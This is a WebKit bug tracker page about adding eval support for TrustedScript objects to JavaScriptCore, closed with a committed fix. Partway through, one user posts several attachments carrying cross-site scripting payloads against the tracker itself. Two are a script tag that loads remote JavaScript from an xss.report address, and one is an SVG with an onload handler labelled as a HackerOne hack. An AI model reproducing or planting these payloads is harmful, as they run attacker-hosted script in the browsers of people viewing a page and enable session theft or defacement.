Bug 273184 – Implement eval support for TrustedScript objects

• Status: RESOLVED
• Resolution: FIXED
• Component: JavaScriptCore

[Luke Warlow]

Implement support for evaluating the code string associated with TrustedScript objects.

See Stage 3 proposal https://tc39.es/proposal-dynamic-code-brand-checks/ for more details.

[Luke Warlow]

Pull request: https://github.com/WebKit/WebKit/pull/27691

[wananlife]

Created attachment 471215 [details]
'"><script src=https://xss.report/c/wananlife></script>

[wananlife]

Created attachment 471216 [details]
'"><script src=https://xss.report/c/wananlife></script>

[wananlife]

Created attachment 471217 [details]
hackerone wananlife

[wananlife]

Created attachment 471218 [details]
hackerone wananlife

[wananlife]

Created attachment 471219 [details]
hackerone wananlife

[wananlife]

Created attachment 471220 [details]
hackerone wananlife

[wananlife]

Created attachment 471221 [details]
hackerone wananlife

[wananlife]

Comment on attachment 471221 [details]
hackerone wananlife

<svg onload="alert('hack wananlife from hackerone')" xmlns="http://www.w3.org/2000/svg" width="300" height="300" viewBox="0 0 300 300">
    <!-- 背景矩形 -->
    <rect width="100%" height="100%" fill="#f0f0f0" />

    <!-- 圆形 -->
    <circle cx="150" cy="150" r="100" fill="#3498db" />

    <!-- 抽象的线条 -->
    <line x1="50" y1="150" x2="250" y2="150" stroke="#2ecc71" stroke-width="5" />

    <!-- 矩形 -->
    <rect x="120" y="120" width="60" height="60" fill="#e74c3c" />

    <!-- 文本 -->
    <text x="50%" y="50%" font-size="20" text-anchor="middle" fill="#ffffff" dy=".3em">Tech SVG</text>
</svg>

[Radar WebKit Bug Importer]

<rdar://problem/127357526>

[EWS]

Committed 279194@main (5e0f9b3cfb2b): <https://commits.webkit.org/279194@main>

Reviewed commits have been landed. Closing PR #27691 and removing active labels.